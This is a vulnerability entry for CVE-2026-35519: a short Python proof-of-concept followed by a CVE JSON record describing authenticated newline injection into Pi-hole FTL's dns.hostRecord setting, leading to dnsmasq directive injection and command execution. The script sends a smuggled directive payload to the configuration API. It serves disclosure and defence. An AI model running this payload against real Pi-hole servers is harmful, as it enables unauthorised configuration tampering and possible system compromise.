CVE-2026-35519

#!/usr/bin/env python3 import requests # Target configuration target_url = "http://<pi-hole-ip>/api/config" api_token = "<valid-api-token>" # Malicious payload injecting a newline and a dnsmasq directive # This attempts to add a dhcp-option which can lead to command execution in certain contexts payload = "example.com 1.2.3.4\ndhcp-option=6,8.8.8.8" headers = { "Authorization": f"Bearer {api_token}", "Content-Type": "application/json" } data = { "config": { "dns.hostRecord": payload } } try: response = requests.post(target_url, json=data, headers=headers) if response.status_code == 200: print("[+] Payload injected successfully. Configuration updated.") else: print(f"[-] Failed to inject payload. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-35519", "sourceIdentifier": "[email protected]", "published": "2026-04-07T16:16:28.397", "lastModified": "2026-04-28T20:31:48.363", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FTLDNS (pihole-FTL) provides an interactive API and also generates statistics for Pi-hole's Web interface. From 6.0 to before 6.6, the Pi-hole FTL engine contains a Remote Code Execution (RCE) vulnerability in the DNS host record configuration parameter (dns.hostRecord). This vulnerability allows an authenticated attacker to inject arbitrary dnsmasq configuration directives through newline characters, ultimately achieving command execution on the underlying system. This vulnerability is fixed in 6.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}, {"lang": "en", "value": "CWE-93"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pi-hole:ftldns:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0", "versionEndIncluding": "6.5", "matchCriteriaId": "8C927FF0-74A4-4F13-95A8-E80C5E80F607"}]}]}], "references": [{"url": "https://github.com/pi-hole/FTL/security/advisories/GHSA-wxhv-w77q-6qwp", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/pi-hole/FTL/security/advisories/GHSA-wxhv-w77q-6qwp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}